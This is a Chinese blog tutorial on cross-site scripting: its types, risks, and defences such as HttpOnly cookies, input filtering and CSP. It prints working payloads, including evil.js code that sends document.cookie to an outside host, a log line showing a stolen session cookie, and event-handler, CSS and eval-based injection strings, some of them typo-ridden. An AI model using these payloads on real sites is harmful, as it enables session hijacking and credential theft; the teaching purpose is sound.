跨站脚本攻击(XSS)

XSS

Cross Site Scripting(跨站脚本攻击)是客户端脚本安全中的头号大敌,它通过在页面中注入脚本,然后触发执行,获取相应的权限。

xss 攻击危害

  • 获取Cookie
  • 网络钓鱼
  • 劫持会话
  • 传播xss蠕虫

xss攻击分类

反射型XSS

反射型XSS只是简单地把用户输入的数据“反射”给浏览器。黑客往往需要诱惑用户“点击”一个恶意链接,才能攻击成功。

存储型

存储型XSS会把用户输入的数据“存储”在服务器,这种XSS具有很强的稳定性。

基于DOM

从效果来说也是一种反射型XSS

image

常见XSS(html/css/js/DOM)

XSS获取Cookie
在html注入<script src="http://192.168.31.235:3001/javascripts/evil.js"></script>

// evil.js
var img = document.createElement('img');
img.src = 'http://192.168.31.235:3001/log?cookie=' + escape(document.cookie);
document.body.appendChild(img);

执行js,文档加载图片,同时把document.cookie发送到3001服务器。
3001后台日志

GET /log?cookie=connect.sid%3Ds%253AReYs6tnBdRPPwl_u9-c3OXwpRMtJ6QIE.BFbYfuwr0jt%252FgwigBOxHWJJi691rN3YUCUM34CxJGlg

Cookie保存当前用户的登陆凭证,若丢失,后果不堪设想。

正常注入(src、Javascript)

<img src="javascript:alert(/xss/)" width="100">

事件注入

<img src="#" onerror="alert('xss')" width="100">

<div onclick="alert('')"></div>

通过css构造(background-img:url\expression\link-href\@import)

<div style="background-image: url(javascript:alert('xss'));"></div>
<style>body{background-image: url("javascript:alert('xss')");}</style>

通过Javascript构造(eval()函数、ASCII编码)

<script>eval("alert('xss')")</script>
<im src="javascript:eval(String.formCharCode(97.....))"

基于DOM型创建(有字数限制的输入框)

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'alert('</script>
<script>z=z+'/xss/)'</script>
<script>z=z+'");'</script>
<script>eval(z)</script>

基于DOM型创建(创建节点)

var a = documentcreateElement('script';
a.src="http://....js");
document.getElementsByTagName("head")[0].appendChild(s);

image

XSS防御

image

HttpOnly

设置HpptOnly后浏览器禁止脚本通过document.cookie访问Cookie
express-session为例

app.use(session({
  secret: 'keyboard cat',
  cookie: {
    maxAge: 60000 ,
    httpOnly: true  // 默认true
    }
}))

XSS过滤脚本

XSS攻击者通常构造一些特殊字符进行攻击,所以输入过滤是必要的。
参考jsxss
可以在浏览器及node后端使用。
特性
- 白名单控制允许的HTML标签及各标签的属性
- 通过自定义处理函数,可对任意标签及其属性进行处理

Content Security Policy 网页安全政策

参考阮一峰老师博客

如果还想了解更多XSS攻击类型,可以查看http://pkav.net/XSS.png。以上图片来源于web前端安全与实践 龙付成老师课堂

参考资料

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值